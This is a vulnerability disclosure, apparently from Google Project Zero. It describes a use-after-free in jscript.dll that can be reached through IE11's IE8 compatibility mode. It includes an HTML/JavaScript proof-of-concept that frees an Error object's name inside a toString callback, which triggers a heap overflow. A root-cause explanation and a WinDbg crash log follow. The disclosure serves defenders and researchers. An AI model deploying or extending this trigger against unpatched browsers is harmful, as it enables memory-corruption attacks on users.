112 lines
No EOL
4.6 KiB
HTML
112 lines
No EOL
4.6 KiB
HTML
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1340
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There is a use-after-free in jscript.dll library that can be exploited in IE11.
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jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).
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PoC:
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=========================================
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-->
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<!-- saved from url=(0014)about:internet -->
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
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</head>
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<body>
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<script language="Jscript.Encode">
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var e = new Error();
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var o = {toString:function() {
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//alert('in toString');
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e.name = 1;
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CollectGarbage();
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//reallocate
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for(var i=0;i<100;i++) {
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e.name = {};
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}
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return 'b';
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}};
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e.name = Array(1000).join('a');
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e.message = o;
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//alert('calling JsErrorToString');
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var result = e.toString();
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//alert('boom');
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alert(result);
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</script>
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</body>
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</html>
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<!--
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=========================================
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This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).
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When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string.
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Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.
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Debug log:
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=========================================
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(10b8.1364): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b
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eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc
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cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
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msvcrt!memcpy+0x270:
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751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=??
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0:008> k
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# ChildEBP RetAddr
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00 09dfbe04 7013c367 msvcrt!memcpy+0x270
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01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86
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02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13
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03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424
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04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a
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05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90
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06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9
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07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
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08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b
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09 09dfc558 70133797 jscript!CSession::Execute+0x23d
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0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b
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0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206
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0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29
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0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51
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0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6
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0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e
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10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232
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11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed
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12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201
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13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e
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14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617
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15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d
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16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61
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17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b
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18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38
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19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f
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1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c
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1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103
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1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23
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1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109
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1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5
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1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf
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20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
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21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7
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22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
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23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
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24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe
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25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70
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26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b
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=========================================
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--> |